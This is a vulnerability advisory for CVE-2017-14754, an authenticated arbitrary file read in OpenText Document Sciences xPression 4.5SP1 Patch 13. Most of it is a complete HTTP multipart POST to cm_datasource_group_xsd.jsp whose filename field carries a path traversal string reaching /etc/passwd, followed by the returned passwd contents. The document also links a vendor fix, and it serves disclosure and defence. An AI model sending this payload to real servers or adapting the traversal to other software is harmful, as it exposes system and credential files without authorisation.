OpenText Document Sciences xPression 4.5SP1 Patch 13 Arbitrary File Read

`Title: OpenText Document Sciences xPression (formerly EMC Document  
Sciences xPression) - Arbitrary File Read  
Author: Marcin Woloszyn  
Date: 27. September 2017  
CVE: CVE-2017-14754  
  
Affected Software:  
==================  
OpenText Document Sciences xPression (formerly EMC Document Sciences xPression)  
  
Exploit was tested on:  
======================  
v4.5SP1 Patch 13 (older versions might be affected as well)  
  
Arbitrary File Read:  
====================  
  
Authenticated user is able to read arbitrary system file due to path  
traversal issue.  
  
Vector :  
--------  
  
1) visit https://[...]/xAdmin/html/cm_datasource_summary.jsp and  
select data source  
  
2) modify and save datasource. xsd_datasource_schema_file parameter  
filename is vulnerable:  
  
POST /xAdmin/html/cm_datasource_group_xsd.jsp?action=get_schema_m HTTP/1.1  
Host: [...]  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://[...]/xAdmin/html/cm_datasource_group_dispatcher.jsp?action=modify&refresh=yes&group_name=%43%75%73%74%6f%6d%65%72%58%58%45%74%65%73%74%27  
Cookie: JSESSIONID=[...]; hideHeaderAndFooter=false  
Connection: close  
Content-Type: multipart/form-data;  
boundary=---------------------------11140219741229998994791588049  
Content-Length: 1472  
  
-----------------------------11140219741229998994791588049  
Content-Disposition: form-data; name="xsd_datasource_group_id"  
  
301  
-----------------------------11140219741229998994791588049  
Content-Disposition: form-data; name="group_name"  
  
aaa  
-----------------------------11140219741229998994791588049  
Content-Disposition: form-data; name="group_name_old"  
  
aaa  
-----------------------------11140219741229998994791588049  
Content-Disposition: form-data; name="xsd_datasource_schema_source"  
  
fromServer  
-----------------------------11140219741229998994791588049  
Content-Disposition: form-data; name="xsd_datasource_schema_location"  
  
aaa.xml  
-----------------------------11140219741229998994791588049  
Content-Disposition: form-data; name="xsd_datasource_schema_file";  
filename="../../../../../../../../../../../../../../../../etc/passwd"  
Content-Type: application/octet-stream  
  
  
-----------------------------11140219741229998994791588049  
Content-Disposition: form-data; name="delimiter_xpath"  
  
e  
-----------------------------11140219741229998994791588049  
Content-Disposition: form-data; name="customer_key_xpath"  
  
e  
-----------------------------11140219741229998994791588049  
Content-Disposition: form-data; name="xsd_datasource_schema"  
  
<?xml version="1.0" ?>  
<aaa></aaa>  
  
-----------------------------11140219741229998994791588049--  
  
In response, file contents are returned:  
  
HTTP/1.1 200 OK  
[...]  
  
<TEXTAREA name="xsd_datasource_schema" cols="10" rows="20"  
class="largeoption"  
readonly="readonly">root:x:0:0:[...]:/root:/bin/bash  
bin:x:1:1:[...]:/bin:/sbin/nologin  
daemon:x:2:2:[...]:/sbin:/sbin/nologin  
adm:x:3:4:[...]:/var/adm:/sbin/nologin  
sync:x:5:0:[...]:/sbin:/bin/sync  
shutdown:x:6:0:[...]:/sbin:/sbin/shutdown  
[...]  
  
Fix:  
====  
https://knowledge.opentext.com/knowledge/llisapi.dll/Open/68982774  
  
Contact:  
========  
mw[at]nme[dot]pl  
  
  
`